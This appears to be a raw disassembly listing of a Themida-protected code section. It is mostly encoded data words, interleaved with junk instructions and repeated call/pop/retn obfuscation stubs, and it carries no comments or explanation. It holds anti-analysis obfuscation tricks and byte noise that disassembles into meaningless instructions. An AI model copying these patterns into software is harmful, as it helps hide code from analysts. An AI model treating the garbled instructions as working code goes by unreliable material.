		dd 0AB6F729Bh, 0CDBD8949h, 5F06A815h, 0A227B5FFh, 95FF06ABh
		dd 6A82199h, 8BF9B70Fh,	0ABA21BB5h, 41858B06h, 6A06A80Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DF8EC356h, 53815C9Ah, 1EF19D8Bh,	895F06A8h
		dd 0A819B595h, 0C4868906h, 0F000000h, 0B82h, 5840F00h
		dd 0BB000000h, 43927D4Bh, 5B9958Bh, 6A06A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BBBEC3h
		dd 5CFEDCB7h, 3810F53h,	66000000h, 835BF98Bh, 6A04C2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89208FC3h, 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 456347C3h, 0D8D8960h, 0E806A82Ah
		dd 13h,	0A1BAD141h, 0FCC62632h,	0DFAB1533h, 71FDA791h
		dd 58CF8BA0h, 0CE858D61h, 6A06ABB7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BA89C355h
		dd 86893C29h, 0B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 44C35343h
		dd 3F35FB5Ah, 0BB661539h, 9D8B850Bh, 6A819C5h, 8509006Ah
		dd 6A81F5Dh, 0A227B5FFh, 8B6606ABh, 1D95FFFEh, 6A06A81Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CF1BC357h, 5096A0E7h, 0FE9h, 0AAE4500h
		dd 35B5472Ch, 3E269AC9h, 7F8229B8h, 27B5FF96h, 6606ABA2h
		dd 95FFFE8Bh, 6A82A69h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 55C35040h, 3DBD83C0h,	6A82Eh,	33840Fh
		dd 81660000h, 8AB956F7h, 77BB50DCh, 89199CBFh, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0AC80E1C3h, 0DAA5C844h, 27B5FFA1h, 6A06ABA2h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 3941C357h, 81FEB4F7h, 0B34947EFh, 8595FF39h,	6A06A831h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 69F1C352h, 9E991h, 56E30000h, 0DA19897Ah
		dd 568B6E6Dh, 27B5FF5Fh, 8B06ABA2h, 0A819B9BDh,	5595FF06h
		dd 6606A80Fh, 0BD83D88Bh, 6A8077Dh, 36840F02h, 9000000h
		dd 0A82C7D85h, 0B9BD8906h, 8B06A80Fh, 0A80D1985h, 0C606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C7C35141h
		dd 8AD66222h, 0C185C7B3h, 6A80Dh, 0E9000000h, 0FFFFF40Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0AFC35646h
		dd 382C5ACh, 0A0043D6Dh, 6AC18B24h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8DBFC351h
		dd 0A8338585h, 0BF0F6006h, 0F9858BC1h, 6106A806h, 0DE990h
		dd 6860000h, 492C3486h,	9980A12h, 50C9DABDh, 69BD8990h
		dd 6A06A80Ah, 0A6B35700h, 6A006A5Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A6AC350h
		dd 2CD6ECF9h, 7169858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 83F9E2C3h, 0F98A05C0h
		dd 0D2BF6650h, 2404898Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 56C35747h, 8D9D8B54h,	6A06A80Ch, 5BF85300h
		dd 0F2D28060h, 6A617AB0h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 8ED747EEh
		dd 0EB812738h, 1C674198h, 254195FFh, 6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C100D5C3h
		dd 0D51E7EECh, 0B2E42EBFh, 7F8D8D3Ah, 6606AB8Ch, 0D1FFDF8Bh
		dd 32419589h, 0BD8306A8h, 6A8339Dh, 8F850F01h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0EAB5C356h, 0BFB9CBBh, 0A82DA19Dh, 399D8906h
		dd 8906A816h, 0A81489B5h, 6A026A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 54BC355h
		dd 89202C3Dh, 0A831D18Dh, 0BB669006h, 0E850F8B8h, 0Fh
		dd 0D34B4CBAh, 661D5B34h, 9D7D0D46h, 0B37FD4B9h, 52905F25h
		dd 1425BD03h, 0FF5F06A8h, 0A81E1D95h, 0FFBF0F06h, 0DED2EF81h
		dd 93E94634h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6AC7173h
		push	0
		push	edi
		call	sub_590B92
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590B92	proc near		; CODE XREF: Themida_:00590B8Ap
					; Themida_:00590BE0j

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_590B92	endp

; ---------------------------------------------------------------------------
		les	edi, ds:0B13CBE55h
		ficom	dword ptr ds:8166AC4Ch
		retf
; ---------------------------------------------------------------------------
		or	bl, [eax]
		add	[ebp+6A81019h],	ecx
		add	edi, [ebp+6A82665h]
		mov	ebx, ecx
		lea	eax, [ebp+6AB7E2Eh]
		push	0
		push	ecx
		call	sub_590BD0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590BD0	proc near		; CODE XREF: Themida_:00590BC8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_590BD0	endp

; ---------------------------------------------------------------------------
		jns	short sub_590B92
		stc
		cli
		sub	[ebp+6A817D5h],	ecx
		mov	ebx, [ebp+6A826CDh]
		push	eax
		push	esi
		jg	loc_590BFA
		mov	bh, 65h


loc_590BFA:				; CODE XREF: Themida_:00590BF2j
		pop	ebx
		mov	[esp], eax
		push	0
		push	eax
		call	sub_590C09
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590C09	proc near		; CODE XREF: Themida_:00590C01p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_590C09	endp

; ---------------------------------------------------------------------------
		db 70h,	82h, 66h
; ---------------------------------------------------------------------------
		mov	ebx, esi
		push	large dword ptr	fs:0
		jnp	$+6
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_590C3D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590C3D	proc near		; CODE XREF: Themida_:00590C35p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_590C3D	endp

; ---------------------------------------------------------------------------
		db 0ECh, 0FFh, 85h
; ---------------------------------------------------------------------------
		icebp
		xor	ebp, [eax+5BD8B06h]
		pop	es
		test	al, 6
		push	0FFFFFFFFh
		sub	[ebp+6A833C9h],	ebx
		push	dword ptr [ebp+6A814A1h]
		mov	bl, 8Eh
		call	dword ptr [ebp+6A82A7Dh]
		jmp	loc_590DB8
; ---------------------------------------------------------------------------
		db 8Bh,	0BDh, 79h
		dd 0B006A82Dh, 70E6F900h, 0CE9h, 0F8078800h, 6EC51083h
		dd 98D91AF3h, 6800F6Eh,	8B000000h, 0A80C25BDh, 8171E406h
		dd 0F84471E7h, 0F613C16h, 10B83h, 6921BB00h, 0B60F5DD1h
		dd 1D9D8BC8h, 0BA06A802h, 6, 2DE5BD29h,	0C18B06A8h, 0C1FE8B66h
		dd 0BD2B04E8h, 6A802C9h, 1BA9B589h, 0F76606A8h,	29BD29E2h
		dd 2B06A826h, 6850FC8h,	81000000h, 0F04442DBh, 0F8D18B4Fh
		dd 13E956h, 6BB20000h, 0AFE01D05h, 261C9981h, 0CD3E3598h
		dd 0CC1014AFh, 9E95B6Bh, 80000000h, 9D89F7DBh, 6A81779h
		dd 21858Bh, 0DF8106A8h,	15C51880h, 8907C083h, 0A81E819Dh
		dd 0C08306h, 9843D381h,	0D03B482Ch, 12830Fh, 0BD2B0000h
		dd 6A833C1h, 6BE9h, 8589F900h, 6A81F1Dh, 324D8D8Bh, 8B6606A8h
		dd 1E183FEh, 52840Fh, 0F600000h, 68Eh, 8D8D8B00h, 0E906A80Ch
		dd 9, 5C8A69A8h, 0CD60B411h, 0A58361B1h, 6A8324Dh, 0E9CBBFFEh
		dd 95897804h, 6A80021h,	11E8h, 8035D200h, 16D6C6B0h, 96C2F928h
		dd 0C50F8F42h, 8531CF83h, 6A800DDh, 0E9DF8B5Bh,	0
; ---------------------------------------------------------------------------


loc_590DB8:				; CODE XREF: Themida_:00590C70j
		lea	esi, [ebp+6ABE705h]
		push	0
		push	edx
		call	sub_590DC9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590DC9	proc near		; CODE XREF: Themida_:00590DC1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_590DC9	endp

; ---------------------------------------------------------------------------
		imul	ebp, [ebx], 97CCDC2Dh
		push	esp
		mov	bl, 23h
		clc
		add	[ebp+6A80B39h],	ebx
		push	0
		mov	bx, cx
		call	dword ptr [ebp+6A81B31h]
		mov	ecx, 799h
		sub	edi, 27129C30h
		mov	[ebp+6A834A5h],	ebx
		and	ecx, 0FFFFFFFCh
		push	0
		push	esi
		call	sub_590E13
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590E13	proc near		; CODE XREF: Themida_:00590E0Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_590E13	endp

; ---------------------------------------------------------------------------
		db 0DEh
; ---------------------------------------------------------------------------
		ja	loc_590E30
		mov	[ebp+6A816ADh],	esi


loc_590E30:				; CODE XREF: Themida_:00590E24j
		cld
		mov	[ebp+6A82C71h],	edi
		sub	eax, eax
		push	0
		push	ebx
		call	sub_590E44
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590E44	proc near		; CODE XREF: Themida_:00590E3Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_590E44	endp

; ---------------------------------------------------------------------------
		dd 0C3A37636h, 0CE8h, 9674C700h, 2DDEE3FCh, 0AFBDBC51h
		dd 11E984h, 45600000h, 90A78ECCh, 87386E48h, 0A7FF3D96h
		dd 5B0DFDCBh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0FBAF7AC3h, 0B2687808h, 33ADF415h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0CFFDEDC3h, 6AFE8B66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E9BFC356h, 0B6BBF471h, 880Dh, 7CBF6600h
		dd 0B9958BC8h, 6A06A805h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 89C1C350h, 0A80AC185h
		dd 698D8B06h, 6A06A814h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E5F0C355h,	0EF71325Ah
		dd 0E98B8321h, 14h, 0CF081855h,	5C6FEDEAh, 18647844h, 81C409E1h
		dd 0FE3BFBA0h, 1258D89h, 8B5006A8h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0FFC35343h, 1D330446h, 0C91BD83h, 0F0006A8h
		dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F4E4E3Ah, 389h, 0F9B70F00h, 5E8h
		dd 4E7E9C00h, 8166644Ah, 5BC5E7CFh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 8CD8AFC1h, 8DD9B70Fh, 0A84FAF8Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0E1FF3FFEh
		dd 2C99BD8Bh, 0BD8306A8h, 6A80BBDh, 0F3840F00h,	89000004h
		dd 0A82C519Dh, 0A7BB6606h, 0BDBD8343h, 106A80Bh, 4F7840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 7E39C6C3h, 6DB589C1h, 0E906A81Bh,	0Dh, 0E3BE3229h
		dd 1071CDA0h, 6DCC12E3h, 0BDBD8380h, 306A80Bh, 47D860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A26631C3h, 6646C19Ah, 9277779h, 0A82E7D9Dh
		dd 299D8B06h, 6006A831h, 66FFB70Fh, 8C66DF8Bh, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 9E9CFh, 0B8CB0000h, 0FE144D2Ch, 8033C244h, 0C90A04E1h
		dd 1A5840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 810FD4C3h, 5, 2B4379BFh,	0E1858B4Eh
		dd 6A06A80Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 7A98C352h, 0DE9677Bh, 52000000h
		dd 2EA6FC2Bh, 8B919F6h,	459E10D6h, 1D5D8533h, 6A06A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 50B4C1C3h, 6880Fh, 8D890000h, 6A81001h, 11E96050h, 0B5000000h
		dd 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh,	830F60h
		dd 51000000h, 8961615Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 5C4BC3h, 18F744Eh, 0F381662Fh
		dd 0BD8B9ADAh, 6A81FEDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 1DE0BBC3h, 62F880ADh
		dd 0EF427868h, 0F9BF66BCh, 24048125h, 432FC187h, 0DD9D8Bh
		dd 95FF06A8h, 6A80741h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 77C35242h, 932ECDB7h,	0B557BBF1h, 8589552Ch
		dd 6ABA227h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	2C35242h, 48D0F51h, 66000000h, 89552FBBh, 0A82E8D8Dh
		dd 1F9E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3B8C8C3h, 0F3106163h, 8BDCF414h
		dd 0ABA21F85h, 0CE906h,	88660000h, 6B50588Ch, 0E03C7FE3h
		dd 0C73D94h, 18h, 2D819D8Bh, 7E806A8h, 92000000h, 46F76BB4h
		dd 0F380C1CCh, 0B58B5FF9h, 6ABA223h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 8DC35141h, 0B796B140h, 711681A2h
		dd 2B7D858Bh, 0DF8106A8h, 3AFC9241h, 0AE80689h,	92000000h
		dd 0AB3D2A4Dh, 56CA8A47h, 13E993h, 30000000h, 76D30D94h
		dd 0CB102966h, 0F0CDB944h, 0A73728F4h, 8E85BF3h, 5F000000h
		dd 0C3AAAA7Bh, 81133EA3h, 23C16EE7h, 858B5B37h,	6A80BE1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 64C35747h
		dd 89A4E8C1h, 0B5310446h, 6A80589h, 0D88B6696h,	96FE8B50h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 74C35747h
		dd 7216D044h, 538E009Ch, 0AE951B8h, 84000000h, 3D1C7EFAh
		dd 4FE666BDh, 8E85FCAh,	2B000000h, 0E03B352Fh, 35D7E9Dh
		dd 0A8263DBDh, 0B5FF5B06h, 6ABA21Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0BFC35747h,	8FD489FFh, 0F068461h
		dd 5168F9BFh, 664D0808h, 81CF13BBh, 0BAE2434h, 880F4D17h
		dd 6, 0ADD8589h, 858D06A8h, 6ABA227h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0D8C35747h,	0E0E4DE88h, 9E9ECh
		dd 0ED470000h, 1345414Ah, 90F6EE80h, 10E850h, 53E50000h
		dd 9C9847D9h, 3031826h,	54B0DEFCh, 0F51CDAAh, 83h, 905F5B00h
		dd 0F7CB8166h, 4195FFD0h, 6606A807h, 61D496BBh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D9C35646h, 816637FEh
		dd 0C7BCA6DFh, 0A80BBD85h, 306h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3EB7D256h
		dd 5B9AFC5Fh, 11E96B0Bh, 7F000000h, 920A2C9Fh, 2BF8DFFCh
		dd 0C0B794E2h, 44B7788Dh, 0A227BD83h, 0F0006ABh, 1E84h
		dd 0F1BD8B00h, 0E906A824h, 2Eh,	0D8B0Fh, 8E90000h, 6D000000h
		dd 0A7212B4Dh, 50D76D4Dh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 639528C3h, 8D313F53h
		dd 6A80645h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	2BC35040h, 899F7C93h, 0A8093D9Dh, 35B5306h, 0A81B45BDh
		dd 0BDBD8306h, 306A80Bh, 3ED850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 5756A5C3h
		dd 0E85B5BF9h, 0Fh, 0C3DEA1AEh,	702A0EF7h, 2CF7A1B9h, 8949C922h
		dd 0A810118Dh, 0BD835B06h, 6ABA227h, 0A4840F00h, 6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 89ECC357h, 8BE37E4Bh, 0A821D59Dh,	27B5FF06h
		dd 6006ABA2h, 34A5BD89h, 0B96606A8h, 0FF61E5D0h, 0A815F995h
		dd 830F6006h, 6, 0A273C181h, 0B58B10BEh, 6A83181h, 1BB58B61h
		dd 0F906ABA2h, 98B0Fh, 66600000h, 9334D381h, 0C7616160h
		dd 1000106h, 5099B700h,	80BF6657h, 34895FF0h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 318531C8h, 0FF06A826h, 0ABA227B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 8152ECF5h, 8D74D8CBh, 9995FF6Ch, 6606A821h, 8B874DBFh
		dd 0ABA21BB5h, 0B1BD8B06h, 8B06A807h, 0A80E4185h, 0A1B58906h
		dd 8906A825h, 0C486h, 0F99D8900h, 8B06A82Dh, 0A805B995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 8806A096h, 0B3DFBD2Ch, 0C283F95Ch, 4020BB04h
		dd 50890FC2h, 0F5BD8920h, 8D06A819h, 0ABB7CE85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0C25AD506h, 8DE84F9h, 0CF81E445h, 21386902h,	0B88689h
		dd 8B660000h, 13E9DFh, 13220000h, 2C0B5EF7h, 555B6CD6h
		dd 24C7178Ch, 0C833C131h, 6A006A4Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 3875C351h
		dd 2CDF90F4h, 0BD8B0A4Ah, 6A82CE9h, 0A227B5FFh,	95FF06ABh
		dd 6A81E1Dh, 0C3816650h, 505F2A34h, 310F5250h, 5AFA8B66h
		dd 24348958h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	2FC35141h, 0AF4E5D58h, 16577D4Fh, 0B52C381h, 0B5FF2B73h
		dd 6ABA227h, 95FFEFB7h,	6A82A69h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 97C35545h, 0B9CC1ED7h, 3BAEA485h
		dd 9E863h, 0C6E40000h, 7DD0B112h, 8A43E6E2h, 0BD835FDEh
		dd 6A82E3Dh, 51840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E9B6C355h
		dd 0A5E073CAh, 8B5057A2h, 243489D9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0E0C35242h,	0EFC72824h, 8D897BA7h
		dd 6A8297Dh, 0A227B5FFh, 6A06ABh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0FFF599C3h, 0A8318595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 139BC6Dh, 0A8156595h, 27B5FF06h,	0F506ABA2h
		dd 0F5595FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0F96DA7C3h, 81344C1Dh, 0DF02DFD7h
		dd 7DBD8370h, 206A807h,	6D840Fh, 830F0000h, 0Bh, 0FBB70F60h
		dd 10E99D29h, 606106A8h, 8B61FAB2h, 0A80D1985h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0B99E9C70h, 27491B97h, 68D0Fh, 0B5290000h, 6A8097Dh
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 9A99C357h, 0C7DF8B66h,	0A80DC185h
		dd 6, 6D858900h, 0E906A802h, 0FFFFF29Ah, 0C0D8529h, 0E86006A8h
		dd 0Ch,	1CA08C70h, 0A9B294BFh, 467967B5h, 9119501h, 665F06A8h
		dd 61F151BBh, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0F7E3A3C3h, 3AAEF52Eh, 1AC5BD8Bh
		dd 0EE906A8h, 17000000h, 69D26Ah, 2 dup(0)
		dd 592E900h, 43E60000h,	7E13BC0Ah, 2444EF3Bh, 0D876D96Dh
		dd 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h, 40C68FADh
		dd 0B1F5BCDFh, 95953735h, 6FB60457h, 5CFF0229h,	76178815h
		dd 0E6DF92B3h, 0CB30BAA0h, 91498B3Fh, 0BCDF40E8h, 54F7A8F5h
		dd 6606E91Dh, 0FA9822Fh, 2B6E039Ch, 0F5BE2F86h,	0BFFB0DABh
		dd 85AF585Bh, 82A10EAAh, 0B0D47FCBh, 6202ADF9h,	7758862Bh
		dd 7109DD4h, 216C0E91h,	0CF507DFCh, 59EDA4C8h, 0E81E57F6h
		dd 5C003842h, 69C2AF58h, 9B9A5CCFh, 0E1AF585Ch,	3D29298Ah
		dd 0D812DF53h, 5Ch, 155CFF63h, 7C185288h, 0B9F09361h, 0F6AB2374h
		dd 0D5138543h, 0AF58A8D3h, 0BFE0C339h, 3C7CADF2h, 0E0DCDE47h
		dd 2F12DF04h, 42EFA2C4h, 10DCF69h, 16000000h, 733A59BAh
		dd 90D57A25h, 0B8FD9213h, 4984AA7Bh, 0ED3E632Ah, 57C4AFF4h
		dd 0EFAAC7CEh, 9455F85Bh, 2C4EBFF2h, 15328861h,	0F7135EFFh
		dd 0F2266B0Ch, 0A6E39011h, 941DB679h, 65A1EC8Dh, 4DD29BBAh
		dd 0E6886B91h, 0ED1506ABh, 0AF57D6ADh, 2B4BBC97h, 0CB6D3266h
		dd 0E3841D82h, 95C901AEh, 0D3B8C53Fh, 0D48E647h, 87596A0h
		dd 0CCEC2DE5h, 0C847E845h, 7D11F268h, 0A9C9A9D9h, 0E6DF0140h
		dd 0BA60B9h, 0AF57EC08h, 6CC751FAh, 0C12BB7C3h,	0A25212DFh
		dd 0F5000000h, 0FB9B5EFFh, 0CE531A3Eh, 6EBFE4DDh, 0CF6E5175h
		dd 4D266F0Eh, 8261B7E0h, 49830721h, 0BDFED580h,	76B25C25h
		dd 4CAF58C8h, 0A982C76Bh, 2B8073B0h, 62E2838Ah,	7ACE181h
		dd 0C7ACEC16h, 0BD96AF58h, 0BCDD46C4h, 5FF3ACF1h, 660C951Ah
		dd 325FE23h, 0F229E54Ah, 0DDDD6F31h, 0A7AF58C7h, 0A60D938Ch
		dd 25F1FDFDh, 591412DFh, 2F000000h, 0F7135EFFh,	8AAA670Ch
		dd 544D5EC3h, 9EBE67C4h, 0CC364AD7h, 0D72464A6h, 351EAF57h
		dd 0A0A708E3h, 51143AFFh, 7F3253CCh, 0F600F932h, 0D176EB08h
		dd 33776088h, 3559BA14h, 0DA773870h, 0EBD4129Fh, 8B9C0148h
		dd 0D6DCDB2Dh, 492EAF57h, 0D6FEEAE8h, 11912DFh,	22000000h
		dd 0E06F30BAh, 9B01FCEFh, 0BFF6921Dh, 0DB92B172h, 0EBAEC42Fh
		dd 0B21BDE4Dh, 74EEAF1h, 2F943883h, 3D8071FBh, 0BC0DE2FEh
		dd 57E00E0Ah, 625BF4AFh, 3F9A2C36h, 5B5FFEDh, 791C852Ah
		dd 0ED4F4BFDh, 1A35B5FFh, 791A8521h, 0ED4B4FF9h, 1E39B5FFh
		dd 9AFF825h, 347D2083h,	0ED296FEFh, 0DE7AB5FFh,	0F8990A97h
		dd 535868B5h, 0A60D43D2h, 1E57F6FDh, 9AA26EE8h,	0ACEB0DD0h
		dd 7E1D860Ch, 1A39EA37h, 8C3EB6DBh, 0B600028Ch,	0BFE4DD76h
		dd 0A40944E6h, 7CA19A73h, 888F10BDh, 0BE1EACE5h, 1477FDC2h
		dd 65A5E70Dh, 57B6000Eh, 0D6423514h, 0CA6565C3h, 174AC6Eh
		dd 4DB60000h, 0EC37612Ch, 0D80EB5E7h, 0D71008B2h, 94F2AF57h
		dd 57D73672h, 4A230CAFh, 7FC204EEh, 45B60006h, 918AC362h
		dd 0A1E48A75h, 680B9477h, 0FD7FE521h, 0EB55D025h, 2D6002C7h
		dd 7ABE9780h, 2BDF96B5h, 253F7B8Dh, 2A05B600h, 254E4AFCh
		dd 1B34B600h, 0D6752E9Dh, 0BBCD6B9Fh, 0B600257Fh, 24E32761h
		dd 76A1B600h, 0EE5DDB74h, 1A21822Bh, 6E94327Bh,	24DCDCh
		dd 2B8DA6B6h, 9819F5A1h, 6DFC1477h, 86000000h, 0EA377E1Dh
		dd 0E73C67B1h, 0ADDF0BB6h, 2F57D74Dh, 0C683B013h, 670BAC52h
		dd 0B3ACFD22h, 85BFC517h, 97A108BFh, 3244A201h,	844A320Ch
		dd 0B0F99B98h, 0D7413A73h, 58551911h, 7F209F2Fh, 2D95CF60h
		dd 61262D50h, 9194E154h, 78517EC2h, 342D6407h, 6F147496h
		dd 88EEAF58h, 586F3A7Eh, 362F08AFh, 886FF0h, 288B0000h
		dd 0C6ED4B06h, 3A0D30BAh, 165EFF4Dh, 0D3453E77h, 0AF5BE054h
		dd 0B3FA9E01h, 6DFB3D6Eh, 0B600C192h, 0B8F00A70h, 8AB600C0h
		dd 0FF6BC8A1h, 57F3277Dh, 81179288h, 0F0367F1Eh, 38652C4Fh
		dd 5BF53Eh, 0C96A41B6h,	5CEAA3C2h, 0D4F249EBh, 6F2645AEh
		dd 0D778E9C2h, 0D2C81E9Ah, 0B0BCACDBh, 0EA891A87h, 0AFD907A3h
		dd 0BCACDC6Bh, 0C9BAFE59h, 52F3DC06h, 8122991Fh, 5D893262h
		dd 0E3A6CC37h, 5C79B3B5h, 0E04BC359h, 0B5E77D5Ah, 6CAED80Eh
		dd 56B60457h, 4CEFB0FDh, 785B8105h, 5169BD6h, 20690C93h
		dd 47067B83h, 0F19D2583h, 96B66FB4h, 0B53E52DFh, 5DCE6DECh
		dd 0E7AECDD4h, 145D00A3h, 3D78168Fh, 0DB4471F0h, 0C2F8B1D4h
		dd 0AA0E47E1h, 95DC7F20h, 0DA46E771h, 0C0AC3134h, 80AFB68h
